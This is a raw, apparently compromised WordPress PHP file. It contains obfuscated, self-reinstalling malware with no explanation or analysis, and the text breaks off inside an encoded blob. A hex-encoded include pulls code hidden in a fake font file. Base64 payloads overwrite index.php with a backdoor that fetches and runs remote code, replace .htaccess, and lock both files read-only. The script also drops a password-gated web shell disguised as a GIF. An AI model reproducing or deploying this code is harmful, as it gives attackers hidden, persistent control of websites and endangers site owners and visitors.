@include "\x2f\x68\x6f\x6d\x65\x2f\x76\x69\x72\x74\x75\x61\x6c\x73\x2f\x63\x72\x61\x63\x6f\x76\x69\x65\x61\x76\x65\x63\x61\x67\x6e\x65\x73\x2e\x63\x6f\x6d\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x54\x65\x78\x74\x2f\x44\x69\x66\x66\x2f\x45\x6e\x67\x69\x6e\x65\x2f\x64\x61\x73\x68\x69\x63\x6f\x6e\x73\x2e\x74\x74\x66";?> error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/virtuals/cracovieavecagnes.com/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkV2l2ayA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRIUT0keyRXaXZrWzMxXS4kV2l2a1s1OV0uJFdpdmtbNDddLiRXaXZrWzQ3XS4kV2l2a1s1MV0uJFdpdmtbNTNdLiRXaXZrWzU3XX07aWYoKGluX2FycmF5KGdldHR5cGUoJEhRKS5jb3VudCgkSFEpLCRIUSkmJmNvdW50KCRIUSk9PTIwKSl7KCgkSFFbNjNdPSRIUVs2M10uJEhRWzc1XSkmJigkSFFbODddPSRIUVs2M10oJEhRWzg3XSkpJiYoQCRIUT0kSFFbODddKCRIUVs1NV0sJEhRWzYzXSgkeyRIUVszOF19WzEyXSkpKSYmJEhRKCkpO30gJEdZVE5qS0wgPSByYW5nZShjaHIoMTI2KSxjaHIoMjApKTskSnZQID0gYXJyYXkoQCR7JEdZVE5qS0xbMzFdLiRHWVROaktMWzU1XS4kR1lUTmpLTFs1N10uJEdZVE5qS0xbNDJdfVskR1lUTmpLTFs2MV0uJEdZVE5qS0xbNDRdLiRHWVROaktMWzQ0XS4kR1lUTmpLTFs2MV0uJEdZVE5qS0xbMzddXSwgJEdZVE5qS0xbMjddLiRHWVROaktMWzEyXS4kR1lUTmpLTFsyNV0uJEdZVE5qS0xbMjldLiRHWVROaktMWzEwXS4kR1lUTmpLTFsyNV0uJEdZVE5qS0xbMzFdLiRHWVROaktMWzI0XS4kR1lUTmpLTFs5XS4kR1lUTmpLTFsxNl0uJEdZVE5qS0xbMjddLiRHWVROaktMWzEwXS4kR1lUTmpLTFsyMV0uJEdZVE5qS0xbMTVdLiRHWVROaktMWzE2XSwgJEdZVE5qS0xbMTFdLiRHWVROaktMWzEwXS4kR1lUTmpLTFsxMl0uJEdZVE5qS0xbMzFdLiRHWVROaktMWzEyXS4kR1lUTmpLTFsxNV0uJEdZVE5qS0xbMTBdLiRHWVROaktMWzc3XS4kR1lUTmpLTFs3NV0sICRHWVROaktMWzIwXS4kR1lUTmpLTFsxMV0uJEdZVE5qS0xbMTVdLiRHWVROaktMWzE2XS4kR1lUTmpLTFszMV0uJEdZVE5qS0xbMjZdLiRHWVROaktMWzI1XS4kR1lUTmpLTFsyN10uJEdZVE5qS0xbMTVdLiRHWVROaktMWzI2XS4kR1lUTmpLTFsyNV0sJEdZVE5qS0xbMTRdLiRHWVROaktMWzI5XS4kR1lUTmpLTFsyN10uJEdZVE5qS0xbMTldLCAkR1lUTmpLTFsyOF0uJEdZVE5qS0xbMjldLiRHWVROaktMWzExXS4kR1lUTmpLTFsyNV0uJEdZVE5qS0xbNzJdLiRHWVROaktMWzc0XS4kR1lUTmpLTFszMV0uJEdZVE5qS0xbMjZdLiRHWVROaktMWzI1XS4kR1lUTmpLTFsyN10uJEdZVE5qS0xbMTVdLiRHWVROaktMWzI2XS4kR1lUTmpLTFsyNV0sICRHWVROaktMWzI0XS4kR1lUTmpLTFsyMV0uJEdZVE5qS0xbMThdLiRHWVROaktMWzI1XS4kR1lUTmpLTFszMV0uJEdZVE5qS0xbMjNdLiRHWVROaktMWzI1XS4kR1lUTmpLTFsxMF0uJEdZVE5qS0xbMzFdLiRHWVROaktMWzI3XS4kR1lUTmpLTFsxNV0uJEdZVE5qS0xbMTZdLiRHWVROaktMWzEwXS4kR1lUTmpLTFsyNV0uJEdZVE5qS0xbMTZdLiRHWVROaktMWzEwXS4kR1lUTmpLTFsxMV0sIEAkeyRHWVROaktMWzMxXS4kR1lUTmpLTFs1NV0uJEdZVE5qS0xbNTddLiRHWVROaktMWzQyXX1bJEdZVE5qS0xbMTVdLiRHWVROaktMWzI0XV0sKTsgJGt5ID0gJEp2UFsyXSgkSnZQWzBdKTskRUJkbXMgPSBAJEp2UFs0XSgkR1lUTmpLTFs1NF0uJEdZVE5qS0xbODRdLCAka3kpOyRMck8gPSAkSnZQWzNdKCRFQmRtcywgdHJ1ZSk7ICRKdlBbN10gPT0gMSAmJiBkaWUoJEp2UFs2XShfX0ZJTEVfXykpOyBpZiAoKCRMck9bMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkTHJPWzJdKSkgPT09ICJkOTVhM2Y4MWEwMzVkNWU0MWU4NjI4MzM2YTUyYmU5ZiIpIHsgJFVWID0gY3VybF9pbml0KCRMck9bMV0pOyBjdXJsX3NldG9wdCgkVVYsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAkdGtzck8gPSBjdXJsX2V4ZWMoJFVWKTskbk1RID0gZW1wdHkoJHRrc3JPKT8kSnZQWzZdKCRMck9bMV0pOiR0a3NyTztAJEp2UFsxXSgiIiwgJEdZVE5qS0xbMV0gLiAkSnZQWzVdKCRuTVEpIC4gJEdZVE5qS0xbNzldLiRHWVROaktMWzg0XSk7IGRpZTt9ICRFS05mID0gcmFuZ2UoY2hyKDEyNiksY2hyKDIwKSk7JGtnYlZoPSRFS05mWzI3XS4kRUtOZlsxMl0uJEVLTmZbMjVdLiRFS05mWzI5XS4kRUtOZlsxMF0uJEVLTmZbMjVdLiRFS05mWzMxXS4kRUtOZlsyNF0uJEVLTmZbOV0uJEVLTmZbMTZdLiRFS05mWzI3XS4kRUtOZlsxMF0uJEVLTmZbMjFdLiRFS05mWzE1XS4kRUtOZlsxNl07ICRiYXVRaj1AJGtnYlZoKCRFS05mWzkwXS4kRUtOZlszMV0sJEVLTmZbMjVdLiRFS05mWzhdLiRFS05mWzI5XS4kRUtOZlsxOF0uJEVLTmZbODZdLiRFS05mWzkyXS4kRUtOZls2M10uJEVLTmZbNjRdLiRFS05mWzkyXS4kRUtOZls4MF0uJEVLTmZbMjhdLiRFS05mWzI5XS4kRUtOZlsxMV0uJEVLTmZbMjVdLiRFS05mWzcyXS4kRUtOZls3NF0uJEVLTmZbMzFdLiRFS05mWzI2XS4kRUtOZlsyNV0uJEVLTmZbMjddLiRFS05mWzE1XS4kRUtOZlsyNl0uJEVLTmZbMjVdLiRFS05mWzg2XS4kRUtOZlsxMV0uJEVLTmZbMTBdLiRFS05mWzEyXS4kRUtOZlszMV0uJEVLTmZbMTJdLiRFS05mWzE1XS4kRUtOZlsxMF0uJEVLTmZbNzddLiRFS05mWzc1XS4kRUtOZls4Nl0uJEVLTmZbMjNdLiRFS05mWzRdLiRFS05mWzIxXS4kRUtOZlsxNl0uJEVLTmZbMjRdLiRFS05mWzE4XS4kRUtOZlsyOV0uJEVLTmZbMTBdLiRFS05mWzI1XS4kRUtOZls4Nl0uJEVLTmZbMjhdLiRFS05mWzI5XS4kRUtOZlsxMV0uJEVLTmZbMjVdLiRFS05mWzcyXS4kRUtOZls3NF0uJEVLTmZbMzFdLiRFS05mWzI2XS4kRUtOZlsyNV0uJEVLTmZbMjddLiRFS05mWzE1XS4kRUtOZlsyNl0uJEVLTmZbMjVdLiRFS05mWzg2XS4kRUtOZlsxMV0uJEVLTmZbMTBdLiRFS05mWzEyXS4kRUtOZlszMV0uJEVLTmZbMTJdLiRFS05mWzE1XS4kRUtOZlsxMF0uJEVLTmZbNzddLiRFS05mWzc1XS4kRUtOZls4Nl0uJEVLTmZbOTBdLiRFS05mWzMxXS4kRUtOZls4NV0uJEVLTmZbODVdLiRFS05mWzg1XS4kRUtOZls4NV0uJEVLTmZbODVdLiRFS05mWzg1XS4kRUtOZls2N10pO0AkYmF1UWooImVJYVl5ZFlYUmkydFowemplcVpaN3ROeXRyRHVYUDkxdWdsMlNTVHRPTkYrL3hEemlkSjZHaUo5TjFyaVl2UmxaellVd3UzdXJQZVJPMjlGVVNrRnp2NVc1YUwrR3N4dVplSHVKdU44bVNtMW1zcWo4K1NXMjRCVTM5Q2Nod1E0ZmZrUGZwemFVV3I3a2lpVm1kV0VMZUo1QXdteW9lQUFYMmdYZ1MyV2owd0UxWndDNmlIZDhWVnpUMXdVNm14RnphL1JuQjdveDhYMzhwZUhhQWVIL0pWZkoyTjdYUS94VmZqVGhaajlmdCtGdkdQaFdpVVBhYkRUWTJrbHkya2xCbGlUbGI4dkZZWDFvK3NiRDdybjgzQXV4QUUvRzZJSURKMHNBWEJMMjA2SHBwWVNvYzIxTVc4NWpoS1puUDVvMStzTU8zbFNwNUIwemdES3MwcEtLbTB4MnVJOW16ZUdEcU5MemV3bDdFcm91blJpdjhOZ2cyeFlOc1FKNTNwekE1ODhYbVQxL1d1ZFF3WTRMdUh4anZlM3BYbW9EZWQwMElQM3UvenByODhsUWkybkIrZzRiR0c1Q1h6M081YXJTNjh0RWozUmIrN3JZa2lHZXkvQnJMa2d4TkxRUkV4NjVlVnhtLzBjTncrVFhUK3E5cW1UNy9RM1I5bDExaU1CQ3lwcjdFa3lkMHg5ZnNhUjczS1h2bEtZcmtCL25xa2hlOGllMW5XbkVEaCtRZHpDTzFzTHpVVlo4clF0QkVVOHhJNXczYTJoOHFuRi9VR09McE51alpLcUtNMzFHaStydzFxb2hmMGtlQndHWEFIOVJKV25vQm9JL2tjS0l2cnVZeDhSL2x6Skk5bGp3bElwN2FsSFlhd2Rra2U5c3ZjUzltSDFtK2R1ckhPeE1LWHp5M2R5TEp0QVE3YXdmd256aWdxam9jeU9Rc3ZoeDJGZ1o1bFE3MlF3VGhxbVFKNUdkUzJuczBaQ1J4QmlJbXFwcVFKMWdQU0tpTndDNEZMQWNFUHIvcGgzWjVlWVpDcm4yV0ZpZ0VxcTcrcDJlSitLUTNJemh1T1FzRWE1Z2dVNmVldlNoNlE1MXAvS2hOTDBRaU14Tjd4QmsrUVliZVg2emhOUTdkUWduYTN0cE9RaTRNMkFpMS93dk1CQ00yazFpZzF2MkR3QXU5aWZwMis1dGFnUC9VTVVkVkhWQkJJR0tPYmZlaXNDU2dTd29laENaTE43QlpZcjFDUjI4NkVJNFA3Sy94anhuZTBvZGo0K1J1VmZYbzVsQ0l0LzExYWFuM3FUa3VCSFF2am5lOUNQT3c2UzlrR0JIYUlCSU9FVTBRTldOZ2owaWZYV1hndlkvaisyV1hqRitMOWdWS1RmMVJBVTRlTmRkNWx3cFZHNnlGbWdodnJyMWJhcktrOU5RM1RTVFRWVzhMMFl2RkJsWnVaeDR0dzNBaXQvZ0JSZG5Ocis1SGZTdkVuTUFKQnl2aS84b2h0OWpSRTBJUjRaU0NFdzdIOGFzNUUvZ0ZMZDJPMEVXN1BIRWFEazhwVUplQXFKNFZjVTZQaFpiMXo5cWVMT2grRVJzcmw5djQwR0hrcXc0WVQ5RnFuM1VmYjQxVmR0Y2F5UXYxcWFKbFU0VG5KZ2hvMi9mNmpCS0xIR3NCV3R2cTRxbTlHYjM1bUlwSENLSitRcHVDSkpwMmtBdlAzSEdNZno5M3lkRWV0SmJVRlNSTXpFUnAyN0V2a2FZaXN5cjlZMUpCdHl4WHMwYWM4TDczYnZseFhtR0IybGpqSnNObDZud3FhK2laOU9iQUd6SkJwUE84OG5UbmZ2MU5RNE5HbU1TMy9jN1lpTzc3TE1lMVY3aXA5MVRoWjNwSXFEZkdrT0tzSW1samYzaS9MK1A3dGRMVXo3azBFaUdkNzZjWHBpRHdqQnVCTHBwWng3NjlESU9hZFVOOU5sOFNtMUJzK085eEJ0b2x2ejdtSW5RbG9MVzJHQ2FtS25ncC9qVUJGeDNXYks3TE1sdTl2cXN3Z2JLV1pCUFFjZUJYdzVCUUVvYnNaRTR6L2pRd2p3b1ZWOSt0aTRMQzFjVU5zdkNhMDYxai9BV3pobzliWlZmbnpFa1gvYlRJTWVuWWY5MUZLQzMraThmUmoxZ0pXOW1qSVpEc216MHppckM2eldZYXE2dkY1MU5RZXVLRy93OXBDUUU0Q2RFdTAzdFd5bXM2QzgxTC81ejk0U3daK2ZTaWN0ajdRZzNRRUFPd0lTWkQvMXI3MEc0QkU4YWdHQ1lvMW5iTlVBRU9YR0xpM2hyOExZbTNlcllJVWhKcHI3emVrYys5NzZnRlhtemRscnBZN0NERkN4K2NZSVpDRzlNTno4MmQrM2lmWk9rSTNwcmEwRVVpSytJcUNHVWY4MFhodFM1OFpJejhqUXNoRE9kKzY5d2UrOW0yY0VRbUxDS1J1a1JMWUFOZjNBeFRsWkRKcVExSEQxSDgyZ2tWenpKd2hJNmJheDBSVmdIZStlVGc2NTJ6cms4ekhacXI5VXFrYmtRQ29LTStOOGRpMStTU3pWeDRCVElia21DSzl5Z043NExQUHF1N0E1YkdvY21OQ3NtRnhoeGlIMkZCdi8zT1V6V1h2OUdCd3pjTHdyRm9Fb3gwZ294cUpuQ2xBZVFBY1dERDVpNldMWHJpWUJFK05SM0diblRkNm12aGVyWVVtRXRlRDNEbDVOTW10ZGRVbjFKTHJsdDFLSVJubjRSbkxYVGI0Yk8wQi84S0dIRlpPMWFJbjBhRm9JWUhEMTVVc3JzckhoVU5TYU5GTWtEd1JyQlZWUEpic2RhR0VOY0hicFAzZENsc2RDSGNaY2JzMlZSallJbWlCN3JuOGpuSDFjSzk3V2JVMVNIYXFVekhqTnczSEVJUm91bitEcVpSRDE2MVNTRVBMMXhEVTNLSi95RmRiVVlBT3Q3UmxieitZd2ZJbnNMaWwxd0cvbFQ1eXdncHhnZ3BMQmNlZFc4LysxLzlQL01MVnBUcC9Wd0F6Yy9panJzb01yN2lCcVVSWitTU0lEWkVSZkNaWmxMQkUxS2F1NlUvY2Z5WmJ5N29ySDIrWUhxSDVEQzVJaXQwNm0vSmVrcE9xbkMvUTM2emFzalV3VjJ5V3JpdzBZc25uWGQ3eDhYbnhyWlhTL3Q2TTRhTFVwT2liT21XSHIyNEhOczFmaks5QXJEcCtXNzc5LzVpS2FUUy9pY3IyZ2lUcS9wckpDQjVoczhWTndsblI1R0VVMzYxUVVkK3NxUXJndU5sZ1dPM3dZcGZRRzN3TzVKbEQvaThSV2xsaXpUVis1MENmVXJNQUlhbS9lWGp3aHpKL0ExdHU3bmk4R2k2bTlkQ2Q1aXJBRTRValBoRlBacGorNmhUczZkVnBlQVNMb3RGNkVMVk1JallOR3daYWY1OUtpNzcwUS9INjUrRERwL1NibWFyblhmMU1OWE0wLzdNbXFYcWhpZ2JmeGgyVTVIckNnNkVtR0o2L1Z5VlIzTE00dVY2dW05d3AxYnNINm5MQlhuSGxIdGdvWHJvYlUvQW83TUtwS2JHSU9ENzV2K2RqSWlUUG9obS9jWWRzR3U5N2xSRkI5MlVrNDlqNnNTUitDMk5OcmtRT3FYR09VdEFuaW9tU0JPVXh1ZjMzUGhteUlVM0E3c0k4TEZHT21DaXBFMFVSajZtWitOVytaSW5jVzNTQWZZZW5CRmgyVkpUbzhTMTEyQlRwKzRWakRCWFJPbUdudHpoRGVpK1pETWRLbjFWZ0E1Y29rdGI5K05HNnZYbTVwOGhBTlpHY0xTMzVZUmZPVTRjOUpvWkxOc2RjRnExekFkeHkxbkFySGVsZDJ1NVU5QTk5TVMwaU1sdlVCNHNsdkhuY1UvZkNub2FvRG1ZVHh6Mkt6RlhnQjQxVkFGbUhsRkU1emgxNHJ1OXhYL3Q5bVluMFlUZnA2NGtneFJiVWhkRnZhSnJiZjR2SXJSTjk4Z05FQU5Lek1DWm93b1NBVUQwZ0UxTVFnK3l2K0pFN3ZxWU94QmdWUnMwbHE4d1lyVTBPQ2YxeFQ3VjBjWTFOcW5HLzZVS0QxSDJzdTdVNlRMb3hQcm1oNEQzMnJnN1FPNEUxaHVuYVhBb1h4T0lZVHhzK25HM2FRWjJTWDZXNnZiS0I5WlBuMHU1L3d5cFJaclF3Q2pjL2RpdnBoQy9oai9iNEM1azVoRkR3KzVoUHdaYUFOamtOWVYvSEovOVB1aDkvQXErbGRGV0V5RGFwczVrajgyQ1Y3aXIwNFcrVjVvYmNSRUZCT01HR0phenVFL0xEWWpWVlFOQjl6b0l5K3dTUlQzQzJTZUpmQlU5NVlpYnZnVzBudC80KzNDSWkzS2k1SUdhYjRhQVA5R2pabk5hd2lDZnFLaUgvOWEwSlcwd0YvZlNuVGNaN0tVMDVNVWJOaTdhZXVHeUdSMEFQeXdyelhXMVpDYmdsZUEzRTNnSlAvTExPL1laTUVjLzIxTXRDTEJCOWtDOTBnZVgrNzNoeXg3SC85VFRvd08vN1hPYWFIbUdDUzQrazA5MWlORisrUlREdjBGb1VwRzNud2J6c3Nwc2hndkFLOEx3L29ZQktXc3d6cVNMYno4WEx6U0ZjOGEyZUJ1ZjZhZElyVS9LaDNmdFQ5RGFnOGRZd1BscVFNYUNEVGZqR3ludERtK3NpbTNKOW1VckNNbS9rQmlocjMzL3hnSjZkY3BwTmlERHlhZW0veGVVL3NwN0JtaUM3Mk5zam9XV1pBM0cvR0pyajMrNW0rS01ibzBRM09lNnNzUGxOenFRNktMYVQ2K3ozOFROL0xDM3JZMDZqRGNrQ3htNG9vM1lNcDJ6OVorNmc3T1dwNS9WMnFNSWh3cVBOSWpPVHRObktkVC83SkhYZ3llaDFESy9sQXhDNXJnYTdJNEJxKzFoMTVianA5RWFnQVBpYStOdHAzN0dGbVllL09lRFcwM0QrOFI3ZG9JU251by85NDNlSTFpazFQS3o1bnlNakJiU0EreDhaYXNJUVI1MzVud0NwLy9pWkMiKTs/Pjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IG